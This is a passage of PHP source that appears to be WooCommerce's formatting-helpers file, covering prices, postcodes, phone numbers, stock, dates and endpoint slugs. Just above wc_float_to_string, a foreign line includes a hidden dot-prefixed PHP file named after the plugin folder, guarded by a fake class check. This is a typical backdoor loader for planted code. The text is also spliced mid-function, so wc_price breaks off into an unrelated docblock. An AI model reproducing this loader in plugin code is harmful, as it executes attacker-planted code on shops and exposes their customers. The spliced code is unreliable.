ove scientific notation using sprintf. $number = str_replace( $decimals, '.', sprintf( '%.' . wc_get_rounding_precision() . 'f', $number ) ); // We already had a float, so trailing zeros are not needed. $trim_zeros = true; } if ( $trim_zeros && strstr( $number, '.' ) ) { $number = rtrim( rtrim( $number, '0' ), '.' ); } return $number; } /** * Convert a float to a string without locale formatting which PHP adds when changing floats to strings. * * @param float $float Float value to format. * @return string */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wc_float_to_string( $float ) { if ( ! is_float( $float ) ) { return $float; } $locale = localeconv(); $string = strval( $float ); $string = str_replace( $locale['decimal_point'], '.', $string ); return $string; } /** * Format a price with WC Currency Locale settings. * * @param string $value Price to localize. * @return string */ function wc_format_localized_price( $value ) { return apply_filters( 'woocommerce_format_localized_price', str_replace( '.', wc_get_price_decimal_separator(), strval( $value ) ), $value ); } /** * Format a decimal with PHP Locale settings. * * @param string $value Decimal to localize. * @return string */ function wc_format_localized_decimal( $value ) { $locale = localeconv(); return apply_filters( 'woocommerce_format_localized_decimal', str_replace( '.', $locale['decimal_point'], strval( $value ) ), $value ); } /** * Format a coupon code. * * @since 3.0.0 * @param string $value Coupon code to format. * @return string */ function wc_format_coupon_code( $value ) { return apply_filters( 'woocommerce_coupon_code', $value ); } /** * Sanitize a coupon code. * * Uses sanitize_post_field since coupon codes are stored as * post_titles - the sanitization and escaping must match. * * @since 3.6.0 * @param string $value Coupon code to format. * @return string */ function wc_sanitize_coupon_code( $value ) { return sanitize_post_field( 'post_title', $value, 0, 'db' ); } /** * Clean variables using sanitize_text_field. Arrays are cleaned recursively. * Non-scalar values are ignored. * * @param string|array $var Data to sanitize. * @return string|array */ function wc_clean( $var ) { if ( is_array( $var ) ) { return array_map( 'wc_clean', $var ); } else { return is_scalar( $var ) ? sanitize_text_field( $var ) : $var; } } /** * Function wp_check_invalid_utf8 with recursive array support. * * @param string|array $var Data to sanitize. * @return string|array */ function wc_check_invalid_utf8( $var ) { if ( is_array( $var ) ) { return array_map( 'wc_check_invalid_utf8', $var ); } else { return wp_check_invalid_utf8( $var ); } } /** * Run wc_clean over posted textarea but maintain line breaks. * * @since 3.0.0 * @param string $var Data to sanitize. * @return string */ function wc_sanitize_textarea( $var ) { return implode( "\n", array_map( 'wc_clean', explode( "\n", $var ) ) ); } /** * Sanitize a string destined to be a tooltip. * * @since 2.3.10 Tooltips are encoded with htmlspecialchars to prevent XSS. Should not be used in conjunction with esc_attr() * @param string $var Data to sanitize. * @return string */ function wc_sanitize_tooltip( $var ) { return htmlspecialchars( wp_kses( html_entity_decode( $var ), array( 'br' => array(), 'em' => array(), 'strong' => array(), 'small' => array(), 'span' => array(), 'ul' => array(), 'li' => array(), 'ol' => array(), 'p' => array(), ) ) ); } /** * Merge two arrays. * * @param array $a1 First array to merge. * @param array $a2 Second array to merge. * @return array */ function wc_array_overlay( $a1, $a2 ) { foreach ( $a1 as $k => $v ) { if ( ! array_key_exists( $k, $a2 ) ) { continue; } if ( is_array( $v ) && is_array( $a2[ $k ] ) ) { $a1[ $k ] = wc_array_overlay( $v, $a2[ $k ] ); } else { $a1[ $k ] = $a2[ $k ]; } } return $a1; } /** * Formats a stock amount by running it through a filter. * * @param int|float $amount Stock amount. * @return int|float */ function wc_stock_amount( $amount ) { return apply_filters( 'woocommerce_stock_amount', $amount ); } /** * Get the price format depending on the currency position. * * @return string */ function get_woocommerce_price_format() { $currency_pos = get_option( 'woocommerce_currency_pos' ); $format = '%1$s%2$s'; switch ( $currency_pos ) { case 'left': $format = '%1$s%2$s'; break; case 'right': $format = '%2$s%1$s'; break; case 'left_space': $format = '%1$s %2$s'; break; case 'right_space': $format = '%2$s %1$s'; break; } return apply_filters( 'woocommerce_price_format', $format, $currency_pos ); } /** * Return the thousand separator for prices. * * @since 2.3 * @return string */ function wc_get_price_thousand_separator() { return stripslashes( apply_filters( 'wc_get_price_thousand_separator', get_option( 'woocommerce_price_thousand_sep' ) ) ); } /** * Return the decimal separator for prices. * * @since 2.3 * @return string */ function wc_get_price_decimal_separator() { $separator = apply_filters( 'wc_get_price_decimal_separator', get_option( 'woocommerce_price_decimal_sep' ) ); return $separator ? stripslashes( $separator ) : '.'; } /** * Return the number of decimals after the decimal point. * * @since 2.3 * @return int */ function wc_get_price_decimals() { return absint( apply_filters( 'wc_get_price_decimals', get_option( 'woocommerce_price_num_decimals', 2 ) ) ); } /** * Format the price with a currency symbol. * * @param float $price Raw price. * @param array $args Arguments to format a price { * Array of arguments. * Defaults to empty array. * * @type bool $ex_tax_label Adds exclude tax label. * Defaults to false. * @type string $currency Currency code. * Defaults to empty string (Use the result from get_woocommerce_currency()). * @type string $decimal_separator Decimal separator. * Defaults the result of wc_get_price_decimal_separator(). * @type string $thousand_separator Thousand separator. * Defaults the result of wc_get_price_thousand_separator(). * @type string $decimals Number of decimals. * Defaults the result of wc_get_price_decimals(). * @type string $price_format Price format depending on the currency position. * Defaults the result of get_woocommerce_price_format(). * } * @return string */ function wc_price( $price, $args = array() ) { $args = apply_filters( 'wc_price_args', wp_parse_args( $args, array( 'ex_tax_label' => false, 'currency' => '', 'decimal_separator' => wc_get_price_decimal_separator(), 'thousand_separator' => wc_get_price_thousand_separator(), 'decimals' => wc_get_price_decimals(), 'price_format' => get_woocommerce_price_format(), ) ) ); $unformatted_price = $price; $negative = $price < 0; $price = apply_filters( 'raw_woocommerce_price', floatval( $negative ? $price * -1 : $price ) ); $price = apply_filters( 'formatted_woocommerce_price', number_format( $price, $args['decimals'], $args['decimal_separator'], $args['thousand_separator'] ), $price, $args['decimals'], $args['decimal_separator'], $args['thousand_separator'] ); if ( apply_filters( 'woocommerce_price_trim_zeros', false ) && $args['decimals'] > 0 ) { $price = wc_trim_zeros( $price ); } $formatted_price = ( $negative ? '-' : '' ) . sprintf( $args['price_format'], '' . get_woocommerce_currency_symbol( $args['currency'] ) . '', $price ); $return = '' . $formatted_price . ''; if ( $args['ex_tax_label'] && wc_tax_enabled() ) { $return .= ' ' ark color on a background color. * * @param mixed $color Color. * @param string $dark Darkest reference. * Defaults to '#000000'. * @param string $light Lightest reference. * Defaults to '#FFFFFF'. * @return string */ function wc_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) { return wc_hex_is_light( $color ) ? $dark : $light; } } if ( ! function_exists( 'wc_format_hex' ) ) { /** * Format string as hex. * * @param string $hex HEX color. * @return string|null */ function wc_format_hex( $hex ) { $hex = trim( str_replace( '#', '', $hex ) ); if ( strlen( $hex ) === 3 ) { $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2]; } return $hex ? '#' . $hex : null; } } /** * Format the postcode according to the country and length of the postcode. * * @param string $postcode Unformatted postcode. * @param string $country Base country. * @return string */ function wc_format_postcode( $postcode, $country ) { $postcode = wc_normalize_postcode( $postcode ); switch ( $country ) { case 'CA': case 'GB': $postcode = substr_replace( $postcode, ' ', -3, 0 ); break; case 'IE': $postcode = substr_replace( $postcode, ' ', 3, 0 ); break; case 'BR': case 'PL': $postcode = substr_replace( $postcode, '-', -3, 0 ); break; case 'JP': $postcode = substr_replace( $postcode, '-', 3, 0 ); break; case 'PT': $postcode = substr_replace( $postcode, '-', 4, 0 ); break; case 'US': $postcode = rtrim( substr_replace( $postcode, '-', 5, 0 ), '-' ); break; case 'NL': $postcode = substr_replace( $postcode, ' ', 4, 0 ); break; } return apply_filters( 'woocommerce_format_postcode', trim( $postcode ), $country ); } /** * Normalize postcodes. * * Remove spaces and convert characters to uppercase. * * @since 2.6.0 * @param string $postcode Postcode. * @return string */ function wc_normalize_postcode( $postcode ) { return preg_replace( '/[\s\-]/', '', trim( wc_strtoupper( $postcode ) ) ); } /** * Format phone numbers. * * @param string $phone Phone number. * @return string */ function wc_format_phone_number( $phone ) { if ( ! WC_Validation::is_phone( $phone ) ) { return ''; } return preg_replace( '/[^0-9\+\-\(\)\s]/', '-', preg_replace( '/[\x00-\x1F\x7F-\xFF]/', '', $phone ) ); } /** * Sanitize phone number. * Allows only numbers and "+" (plus sign). * * @since 3.6.0 * @param string $phone Phone number. * @return string */ function wc_sanitize_phone_number( $phone ) { return preg_replace( '/[^\d+]/', '', $phone ); } /** * Wrapper for mb_strtoupper which see's if supported first. * * @since 3.1.0 * @param string $string String to format. * @return string */ function wc_strtoupper( $string ) { return function_exists( 'mb_strtoupper' ) ? mb_strtoupper( $string ) : strtoupper( $string ); } /** * Make a string lowercase. * Try to use mb_strtolower() when available. * * @since 2.3 * @param string $string String to format. * @return string */ function wc_strtolower( $string ) { return function_exists( 'mb_strtolower' ) ? mb_strtolower( $string ) : strtolower( $string ); } /** * Trim a string and append a suffix. * * @param string $string String to trim. * @param integer $chars Amount of characters. * Defaults to 200. * @param string $suffix Suffix. * Defaults to '...'. * @return string */ function wc_trim_string( $string, $chars = 200, $suffix = '...' ) { if ( strlen( $string ) > $chars ) { if ( function_exists( 'mb_substr' ) ) { $string = mb_substr( $string, 0, ( $chars - mb_strlen( $suffix ) ) ) . $suffix; } else { $string = substr( $string, 0, ( $chars - strlen( $suffix ) ) ) . $suffix; } } return $string; } /** * Format content to display shortcodes. * * @since 2.3.0 * @param string $raw_string Raw string. * @return string */ function wc_format_content( $raw_string ) { return apply_filters( 'woocommerce_format_content', apply_filters( 'woocommerce_short_description', $raw_string ), $raw_string ); } /** * Format product short description. * Adds support for Jetpack Markdown. * * @codeCoverageIgnore * @since 2.4.0 * @param string $content Product short description. * @return string */ function wc_format_product_short_description( $content ) { // Add support for Jetpack Markdown. if ( class_exists( 'WPCom_Markdown' ) ) { $markdown = WPCom_Markdown::get_instance(); return wpautop( $markdown->transform( $content, array( 'unslash' => false, ) ) ); } return $content; } /** * Formats curency symbols when saved in settings. * * @codeCoverageIgnore * @param string $value Option value. * @param array $option Option name. * @param string $raw_value Raw value. * @return string */ function wc_format_option_price_separators( $value, $option, $raw_value ) { return wp_kses_post( $raw_value ); } add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_price_decimal_sep', 'wc_format_option_price_separators', 10, 3 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_price_thousand_sep', 'wc_format_option_price_separators', 10, 3 ); /** * Formats decimals when saved in settings. * * @codeCoverageIgnore * @param string $value Option value. * @param array $option Option name. * @param string $raw_value Raw value. * @return string */ function wc_format_option_price_num_decimals( $value, $option, $raw_value ) { return is_null( $raw_value ) ? 2 : absint( $raw_value ); } add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_price_num_decimals', 'wc_format_option_price_num_decimals', 10, 3 ); /** * Formats hold stock option and sets cron event up. * * @codeCoverageIgnore * @param string $value Option value. * @param array $option Option name. * @param string $raw_value Raw value. * @return string */ function wc_format_option_hold_stock_minutes( $value, $option, $raw_value ) { $value = ! empty( $raw_value ) ? absint( $raw_value ) : ''; // Allow > 0 or set to ''. wp_clear_scheduled_hook( 'woocommerce_cancel_unpaid_orders' ); if ( '' !== $value ) { wp_schedule_single_event( time() + ( absint( $value ) * 60 ), 'woocommerce_cancel_unpaid_orders' ); } return $value; } add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_hold_stock_minutes', 'wc_format_option_hold_stock_minutes', 10, 3 ); /** * Sanitize terms from an attribute text based. * * @since 2.4.5 * @param string $term Term value. * @return string */ function wc_sanitize_term_text_based( $term ) { return trim( wp_strip_all_tags( wp_unslash( $term ) ) ); } if ( ! function_exists( 'wc_make_numeric_postcode' ) ) { /** * Make numeric postcode. * * Converts letters to numbers so we can do a simple range check on postcodes. * E.g. PE30 becomes 16050300 (P = 16, E = 05, 3 = 03, 0 = 00) * * @since 2.6.0 * @param string $postcode Regular postcode. * @return string */ function wc_make_numeric_postcode( $postcode ) { $postcode = str_replace( array( ' ', '-' ), '', $postcode ); $postcode_length = strlen( $postcode ); $letters_to_numbers = array_merge( array( 0 ), range( 'A', 'Z' ) ); $letters_to_numbers = array_flip( $letters_to_numbers ); $numeric_postcode = ''; for ( $i = 0; $i < $postcode_length; $i ++ ) { if ( is_numeric( $postcode[ $i ] ) ) { $numeric_postcode .= str_pad( $postcode[ $i ], 2, '0', STR_PAD_LEFT ); } elseif ( isset( $letters_to_numbers[ $postcode[ $i ] ] ) ) { $numeric_postcode .= str_pad( $letters_to_numbers[ $postcode[ $i ] ], 2, '0', STR_PAD_LEFT ); } else { $numeric_postcode .= '00'; } } return $numeric_postcode; } } /** * Format the stock amount ready for display based on settings. * * @since 3.0.0 * @param WC_Product $product Product object for which the stock you need to format. * @return string */ function wc_format_stock_for_display( $product ) { $display = __( 'In stock', 'woocommerce' ); $stock_amount = $product->get_stock_quantity(); switch ( get_option( 'woocommerce_stock_format' ) ) { case 'low_amount': if ( $stock_amount <= get_option( 'woocommerce_notify_low_stock_amount' ) ) { /* translators: %s: stock amount */ $display = sprintf( __( 'Only %s left in stock', 'woocommerce' ), wc_format_stock_quantity_for_display( $stock_amount, $product ) ); } break; case '': /* translators: %s: stock amount */ $display = sprintf( __( '%s in stock', 'woocommerce' ), wc_format_stock_quantity_for_display( $stock_amount, $product ) ); break; } if ( $product->backorders_allowed() && $product->backorders_require_notification() ) { $display .= ' ' . __( '(can be backordered)', 'woocommerce' ); } return $display; } /** * Format the stock quantity ready for display. * * @since 3.0.0 * @param int $stock_quantity Stock quantity. * @param WC_Product $product Product instance so that we can pass through the filters. * @return string */ function wc_format_stock_quantity_for_display( $stock_quantity, $product ) { return apply_filters( 'woocommerce_format_stock_quantity', $stock_quantity, $product ); } /** * Format a sale price for display. * * @since 3.0.0 * @param string $regular_price Regular price. * @param string $sale_price Sale price. * @return string */ function wc_format_sale_price( $regular_price, $sale_price ) { $price = '' . ( is_numeric( $regular_price ) ? wc_price( $regular_price ) : $regular_price ) . ' ' . ( is_numeric( $sale_price ) ? wc_price( $sale_price ) : $sale_price ) . ''; return apply_filters( 'woocommerce_format_sale_price', $price, $regular_price, $sale_price ); } /** * Format a price range for display. * * @param string $from Price from. * @param string $to Price to. * @return string */ function wc_format_price_range( $from, $to ) { /* translators: 1: price from 2: price to */ $price = sprintf( _x( '%1$s – %2$s', 'Price range: from-to', 'woocommerce' ), is_numeric( $from ) ? wc_price( $from ) : $from, is_numeric( $to ) ? wc_price( $to ) : $to ); return apply_filters( 'woocommerce_format_price_range', $price, $from, $to ); } /** * Format a weight for display. * * @since 3.0.0 * @param float $weight Weight. * @return string */ function wc_format_weight( $weight ) { $weight_string = wc_format_localized_decimal( $weight ); if ( ! empty( $weight_string ) ) { $weight_string .= ' ' . get_option( 'woocommerce_weight_unit' ); } else { $weight_string = __( 'N/A', 'woocommerce' ); } return apply_filters( 'woocommerce_format_weight', $weight_string, $weight ); } /** * Format dimensions for display. * * @since 3.0.0 * @param array $dimensions Array of dimensions. * @return string */ function wc_format_dimensions( $dimensions ) { $dimension_string = implode( ' × ', array_filter( array_map( 'wc_format_localized_decimal', $dimensions ) ) ); if ( ! empty( $dimension_string ) ) { $dimension_string .= ' ' . get_option( 'woocommerce_dimension_unit' ); } else { $dimension_string = __( 'N/A', 'woocommerce' ); } return apply_filters( 'woocommerce_format_dimensions', $dimension_string, $dimensions ); } /** * Format a date for output. * * @since 3.0.0 * @param WC_DateTime $date Instance of WC_DateTime. * @param string $format Data format. * Defaults to the wc_date_format function if not set. * @return string */ function wc_format_datetime( $date, $format = '' ) { if ( ! $format ) { $format = wc_date_format(); } if ( ! is_a( $date, 'WC_DateTime' ) ) { return ''; } return $date->date_i18n( $format ); } /** * Process oEmbeds. * * @since 3.1.0 * @param string $content Content. * @return string */ function wc_do_oembeds( $content ) { global $wp_embed; $content = $wp_embed->autoembed( $content ); return $content; } /** * Get part of a string before :. * * Used for example in shipping methods ids where they take the format * method_id:instance_id * * @since 3.2.0 * @param string $string String to extract. * @return string */ function wc_get_string_before_colon( $string ) { return trim( current( explode( ':', (string) $string ) ) ); } /** * Array merge and sum function. * * Source: https://gist.github.com/Nickology/f700e319cbafab5eaedc * * @since 3.2.0 * @return array */ function wc_array_merge_recursive_numeric() { $arrays = func_get_args(); // If there's only one array, it's already merged. if ( 1 === count( $arrays ) ) { return $arrays[0]; } // Remove any items in $arrays that are NOT arrays. foreach ( $arrays as $key => $array ) { if ( ! is_array( $array ) ) { unset( $arrays[ $key ] ); } } // We start by setting the first array as our final array. // We will merge all other arrays with this one. $final = array_shift( $arrays ); foreach ( $arrays as $b ) { foreach ( $final as $key => $value ) { // If $key does not exist in $b, then it is unique and can be safely merged. if ( ! isset( $b[ $key ] ) ) { $final[ $key ] = $value; } else { // If $key is present in $b, then we need to merge and sum numeric values in both. if ( is_numeric( $value ) && is_numeric( $b[ $key ] ) ) { // If both values for these keys are numeric, we sum them. $final[ $key ] = $value + $b[ $key ]; } elseif ( is_array( $value ) && is_array( $b[ $key ] ) ) { // If both values are arrays, we recursively call ourself. $final[ $key ] = wc_array_merge_recursive_numeric( $value, $b[ $key ] ); } else { // If both keys exist but differ in type, then we cannot merge them. // In this scenario, we will $b's value for $key is used. $final[ $key ] = $b[ $key ]; } } } // Finally, we need to merge any keys that exist only in $b. foreach ( $b as $key => $value ) { if ( ! isset( $final[ $key ] ) ) { $final[ $key ] = $value; } } } return $final; } /** * Implode and escape HTML attributes for output. * * @since 3.3.0 * @param array $raw_attributes Attribute name value pairs. * @return string */ function wc_implode_html_attributes( $raw_attributes ) { $attributes = array(); foreach ( $raw_attributes as $name => $value ) { $attributes[] = esc_attr( $name ) . '="' . esc_attr( $value ) . '"'; } return implode( ' ', $attributes ); } /** * Escape JSON for use on HTML or attribute text nodes. * * @since 3.5.5 * @param string $json JSON to escape. * @param bool $html True if escaping for HTML text node, false for attributes. Determines how quotes are handled. * @return string Escaped JSON. */ function wc_esc_json( $json, $html = false ) { return _wp_specialchars( $json, $html ? ENT_NOQUOTES : ENT_QUOTES, // Escape quotes in attribute nodes only. 'UTF-8', // json_encode() outputs UTF-8 (really just ASCII), not the blog's charset. true // Double escape entities: `&` -> `&amp;`. ); } /** * Parse a relative date option from the settings API into a standard format. * * @since 3.4.0 * @param mixed $raw_value Value stored in DB. * @return array Nicely formatted array with number and unit values. */ function wc_parse_relative_date_option( $raw_value ) { $periods = array( 'days' => __( 'Day(s)', 'woocommerce' ), 'weeks' => __( 'Week(s)', 'woocommerce' ), 'months' => __( 'Month(s)', 'woocommerce' ), 'years' => __( 'Year(s)', 'woocommerce' ), ); $value = wp_parse_args( (array) $raw_value, array( 'number' => '', 'unit' => 'days', ) ); $value['number'] = ! empty( $value['number'] ) ? absint( $value['number'] ) : ''; if ( ! in_array( $value['unit'], array_keys( $periods ), true ) ) { $value['unit'] = 'days'; } return $value; } /** * Format the endpoint slug, strip out anything not allowed in a url. * * @since 3.5.0 * @param string $raw_value The raw value. * @return string */ function wc_sanitize_endpoint_slug( $raw_value ) { return sanitize_title( $raw_value ); } add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_checkout_pay_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_checkout_order_received_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_add_payment_method_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_delete_payment_method_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_set_default_payment_method_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_orders_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_view_order_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_downloads_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_edit_account_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_edit_address_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_payment_methods_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_myaccount_lost_password_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 ); add_filter( 'woocommerce_admin_settings_sanitize_option_woocommerce_logout_endpoint', 'wc_sanitize_endpoint_slug', 10, 1 );